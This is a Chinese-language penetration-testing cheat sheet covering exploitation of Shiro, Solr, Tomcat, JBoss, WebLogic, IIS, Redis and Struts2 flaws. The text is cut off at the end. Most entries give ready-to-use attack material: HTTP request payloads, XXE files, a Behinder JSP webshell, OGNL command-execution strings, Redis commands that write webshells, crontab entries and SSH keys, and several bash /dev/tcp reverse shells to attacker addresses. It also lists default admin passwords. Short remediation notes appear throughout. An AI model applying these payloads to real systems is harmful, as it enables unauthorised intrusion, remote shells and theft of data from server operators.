该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
漏洞影响
1.2.5 <= shiro <=1.4.2
漏洞指纹
1. set-cookie:rememberMe=deleteMe
2. URL中有shiro字样
利用技巧
1. 该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;
2. 如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
solr 远程代码执行漏洞
远程命令执行RCE
solr 简介
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
漏洞详情
CVE-2017-12629 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
漏洞影响
Apache solr<7.1.0版本
漏洞利用
命令执行
1. 新建一个 listener ,将 "exe" "dir" "args" 内容可以通过 http 的方式传入
POC: POST /solr/demo/config HTTP/1.1 Host: ip:8983 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 169 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}
2. 更新一下操作,修改post包,触发前面的命令
POC: POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}]
反弹 shell
同上,只是传入的命令换了
POC: POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}] # 即可反弹成功
POC POST /solr/demo/config HTTP/1.1 Host: your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 158 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
远程命令执行XXE
CVE-2017-12629
漏洞详情
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
影响版本
Apache solr<7.1.0版本
漏洞利用
1. 在另一台服务器web站点下创建一个.dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
2. 构造payload后将特殊符号进行url加密
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
3. 最终的payload
%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
未授权上传
CVE-2020-13957
漏洞详情
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。 整个利用链流程: 上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
影响版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
修复方案
升级Apache Solr 8.6.2版本以上
反序列化漏洞
Shiro-550 存在java反序列化 (2020)
攻击特征
在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段
漏洞影响
Apache Shiro <= 1.2.4 版本都存在威胁
漏洞原理
漏洞利用的是cookie里的 rememberMe 参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码,然后AES解密,再反序列化,
`问题的关键在于`,AES加密的密钥就在源代码里边,AES是对称加密,所以加密密钥就是解密密钥。攻击者只要得到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化、AES加密、Base64编码,然后将其作为cookie的 RememberMe 字段发送,Shiro 将 其进行解密并反序列化,最终造成反序列化漏洞
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
解析漏洞
漏洞成因
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别
漏洞利用
可用与文件上传绕过,如 test.php.asd.dfs
漏洞修复
将AddHandler application/x-httpd-php.php 的配置文件删除
目录遍历
漏洞成因
由于配置错误导致的目录遍历
利用方法
和文件下载一样的,在存在漏洞的参数那里用 ../../ 即可
漏洞修复
修改 apache 配置文件 httpd.conf 找到下面的内容,将Options后面的 + 改成 - 就行了 `Options+Indexes+FollowSymlinks+ExecCGI` 修改成 `Options-Indexes+FollowSymlinks+ExecCGI` 并保存
Tomcat
Tomcat简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。
重要文件
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet。
tomcat-users.xml:tomcat的用户密码与权限。
任意写文件
漏洞详情
漏洞的本质是 Tomcat 配置了可写 (readonly=false),导致攻击者可以往服务器写文件
虽然 Tomcat 对文件后缀有一定的检测(不能直接写jsp),但是攻击者可以利用一些文件系统的特性(如 Linux 下可用"/") 来绕过限制
影响版本
Tomcat 7.0.0 - 7.0.79
漏洞利用
访问网站利用 burp 进行抓包,修改为后面的 payload
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码 rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal s(pageContext);}%>
利用 Repeater 模块进行发送
直接访问jsp木马所在的网站路径,查看是否上传成功
http://ip:port/1.jsp
使用冰蝎连接即可
CVE-2020-1938 AJP 文件包含漏洞
漏洞详情
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。 此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害
影响版本
Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x
漏洞利用
利用脚本读取目标网站 web.xml 的源代码
运行命令 python tomcat.py read_file --wabapp=manager /WEB-INF/web.xml 192.168.31.128
弱口令文件上传war包
漏洞详情
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。 其中,欲访问后台,需要对应用户有相应权限。
影响版本
Tomcat8.x,Tomcat7.x
漏洞利用
Tomcat 权限管理
后台管理权限
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
虚拟主机管理
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
在conf/tomcat-users.xml文件中配置用户的权限
在 manager APP 利用弱口令进入后台 tomcat/tomcat
进入后台后再 War file to deploy(war 文件部署) 上传 war 包 上传后 tomcat 会自动解压到 web 目录下,注意包名不要是 shell getshell 等,会被过滤的
war 包制作 jar cvf pass.war pass.jsp
访问路径
http://ip:8080/pass/pass.jsp
利用冰蝎进行连接
Jboss
Jboss反序列化
下载的工具进行检测 java -jar DeserializeExploit.jar
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
原理:Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器进行任何安全检查的情况下将来自客户端的数据流进行反序列化
访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly 返回500说明漏洞存在
下载漏洞利用工具反弹shell: http://scan.javasec.cn/java/JavaDeserH2HC.zip
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
原理:根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制
还是用工具反弹shell
JBoss远程部署漏洞
原理:后端未对用户可控参数做严格的过滤
危害:导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制
Weblogic
反序列化
XML Decoder 反序列化漏洞 (CVE-2017-10271)
漏洞详情
weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce
影像版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
漏洞复现
可能存在漏洞的路径
/wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC, /wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType, /wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11, /wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11
漏洞验证
访问上述路径 http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType ,响应出现 Web Services证明存在该漏洞
POC
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 Host: 192.168.190.136:7001 Content-Length: 841 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> # 命令执行 </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1</string> # 反弹shell </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
Weblogic未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883
漏洞详情
远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
影响版本
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0
漏洞复现
未授权POC
直接访问 http://192.168.190.1:7001/console/images/%252E%252E%252Fconsole.portal 未授权访问后台
通过问未授权访问到管理后台页面,利用第二个命令执行漏洞(cve-2020-14883)
命令执行
方法一
一是通过 com.tangosol.coherence.mvel2.sh.ShellSession()
http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
方法二
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() 反弹shell
http://vlunip:7001/console/images/%252E%252E%252F/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")
在攻击机上开启 http 服务,并在其目录下建立一个xml文件,文件内容如下
Linux shell
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.190.1/4444 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
Windows shell
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value>whoami</value> </list> </constructor-arg> </bean> </beans>
nc监听4444端口
nc -nvlp 4444
通过上面的请求访问 攻击机的 shell.xml 文件,即可反弹成功
SSRF 漏洞 (需要安装Weblogic时选择UDDI组件)
漏洞详情
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
影响版本
weblogic 版本10.0.2 10.3.6
漏洞复现
直接访问漏洞url http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp
填写表单,点击search,使用burp抓包,发送到重放模块,更改 operator 可以探测内网主机信息
测试172.22.0.11主机 返回 No route to host 表示主机不存在
尝试 http://172.22.0.2:7001 返回 ‘1’ addresses, but could not connect over HTTP to server: ‘172.22.0.2’, port: ‘7001’ 表示172.22.0.2主机存在,但是7001端口不存在
返回404表示7001端口开放
返回 Received a response from url 表示端口开发
如果上一步探测出了 6379 Redis 服务,可以尝试定时任务反弹shell
写入 Redis 脚本
test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.190.1/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
将上述payload 进行 url编码
operator=http://172.22.0.2:6379/test%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.190.1%2f4444%200%3e%261%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaa&rdoSearch=name&txtSearchname=1&txtSearchkey=2&txtSearchfor=3&selfor=Business+location&btnSubmit=Search
发送payload触发反弹shell连接 192.168.190.1:4444
漏洞修复
1. 将SearchPublicRegistries.jsp直接删除就好了
2. 删除 uddiexplorer 文件夹 限制 uddiexplorer 应用只能内网访问
弱口令
登录地址
http://192.168.190.136:7001/console/login/LoginForm.jsp
weblogic/weblogic weblogic/Oracle@123
搭配文件上传getshell
一次选择部署-》安装-》上载文件
上传 qwerty.war包
依次点击下一步至完成部署安装
冰蝎连接 http://ip:port/qwerty/qwerty.jsp
漏洞修复
防火墙设置端口过滤,也可以设置只允许访问后台的IP列表,避免后台弱口令
IIS
PUT漏洞
漏洞成因
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成了任意文件上传
漏洞利用
使用DotNetSan进行ip段扫描
漏洞修复
关闭WebDAV和写入权限
短文件名猜解
漏洞成因
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(〜)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
漏洞利用
IIS的短文件名机制,可以暴力猜解文件名,访问构造的某个存在的短文件名,会返回404,访问构造的不存在的文件名,会返回400
漏洞修复
1. 升级 .net framework(框架)
2. 修改注册表禁用短文件名功能
解析漏洞
漏洞成因
IIS6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞,这一漏洞有两种不同的利用方式 `/test.asp/test.jpg` 或 `test.asp:.jpg`
第一种的 test.asp 目录中的所有文件都会被当作asp 程序执行
第二种的后缀虽然是 .jpg 但是由于 特殊符号“;”的存在,仍会被IIS当作asp程序执行
漏洞修复
1. 对新建目录文件名进行过滤,不允许新建包含 “ . ” 的文件
2. 取消网站后台新建目录的权限,不允许新建目录
3. 限制上传的脚本执行权限,不允许执行脚本
4. 过滤 .asp/xm.jpg ,通过ISAPI组件过滤
15年(MS15-034)HTTP.sys 远程执行代码漏洞
漏洞详情
利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
漏洞检测
kali执行以下命令即可,返回(416 Requested Range Not Satisfiable)存在漏洞;返回(400 The request has an invalid header name),则不存在漏洞 curl http://192.168.80.130 -H “Host: 192.168.80.130” -H “Range: bytes=0-18446744073709551615”
漏洞利用
MSF search ms15-034
漏洞修复
临时
禁用IIS内核缓存
补丁
Redis
redis 简介
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。 默认端口 6379
Redis未授权访问
漏洞详情
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
前提条件
攻击机上能用redis-cli连接,知道物理路径,具有文件增删改查的权限
protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接 (配置靶场时需注意,修改protected-mode为no,关闭保护模式,允许远程连接redis服务)
漏洞利用
写入一句话
1. 通过kali的`redis-cli.exe -h ip地址 -p6378` 不接 -p 就是默认6379
2. 连入对方6379端口后依次执行下列命令 > config set dir /var/www/html # 设置待写入文件所在目录 > config set dbfilename shell.php > set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n" > save
3. 直接连接 /shell.php 即可
定时任务反弹shell
1. kali建立一个监听端口 `nc -lvnp 7999`
2. 通过kali的`redis-cli.exe -h ip地址 -p6379` 不接 -p 就是默认6379
3. 连入对方6379端口后依次执行下列命令 > set x "\n* * * * * bash -i >& /dev/tcp/攻击机IP/7999 0>1\n" # 设置反弹语句 > config set dir /var/spool/cron/ # 设置待写入文件目录,linux计划目录 > config set dbfilename root # 修改备份文件名为root,以root身份执行计划任务 > save
Redis 密钥登录 ssh
漏洞详情
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
前提条件
redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入
漏洞利用
1. 攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
ssh-keygen -t rsa
2. 将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码
(echo -e "\n\n"; cat id rea.pub; echo -e "\n\n")>key.txt
3. 将生成的公钥写入靶机服务器的内存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
4. 成功写入后,设置路径和保存的文件名,将内存变量导入磁盘文件
config set dir /root/.ssh
这里报错的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令即可(也可以手动创建.ssh目录): > ssh localhost
config set dbfilename authorized_keys
save
5. 在攻击机这里用ssh连接靶机,可成功连接
ssh -i id_rsa root@192.168.190.128
或者
ssh 192.168.190.128
远程主从复制 RCE
漏洞原理
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
漏洞影响
4.x、5.x
漏洞利用
redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
1. 执行反弹
python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128
2. 选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式 "i"
这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
本地Redis主从复制RCE反弹shell
漏洞原理
对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机
漏洞利用
1. 这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块
2. kali开启监听,接受会话的反弹
nc -lvnp 1234
3. 开启15000端口的主服务器
python3 redis_rogue_server.py -v -path exp.so -v #冗余模式,仅启动Rouge Server模式
4. 靶机本机登录redis开启主从模式
redis-cli
5. 查看是否存在模块,可以看见目前没有可用模块
module list
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”
6. 反弹shel
system.rev 192.168.190.128 1234
7. 关闭主从复制
slaveof NO ONE
后续研究
安全防护
redis的安全设置:设置完毕,需要重加载配置文件启动redis
1.绑定内网ip地址进行访问
2.requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。
Struts2
S2-001 命令执行
漏洞详情
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。 如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
漏洞检测
在登录的地方输入 '%{1+1}' 如果登录识别后那个地方变成了 '2' 说明存在命令执行漏洞
漏洞利用
获取web路径,payload 见后方展开
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
命令执行 whoami,payload 见后方展开
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
命令执行 cat /etc/passwd,payload 见后方展开
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
S2-005 命令执行
漏洞详情
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制 对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
总结
Struts2处理用户请求时,会调用拦截器处理ParametersInterceptor.setParameters装载参数.其中在执行数据栈加载时会对传入的参数name正则判断是否存在非法字符. 之后执行stack.setValue(name, value)进一步解析name值.依次解析传入的表达式造成注入
漏洞利用
一般是看到有 .action 结尾的路径存在的话,就把 URL 拉到 Struts2全版本漏洞检测工具里边测一下,那个工具的话就可以自动扫描漏洞是否存在,也能执行 命令执行、上传文件这些功能、目录浏览
s2-007 命令执行
漏洞利用
在存在输入的地方输入 '+(1+1)+',提交之后变为 '11' 则存在漏洞
命令执行
在输入的地方输入payload即可,payload 见后方展开
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
s2-008
漏洞详情
主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式
漏洞利用
任意文件覆盖,payload 见后方展开
任意文件覆盖 //利用方式尚且未知 exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
远程命令执行,payload 见后方展开
远程执行命令 debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
查询 ipconfig,payload 见后方展开
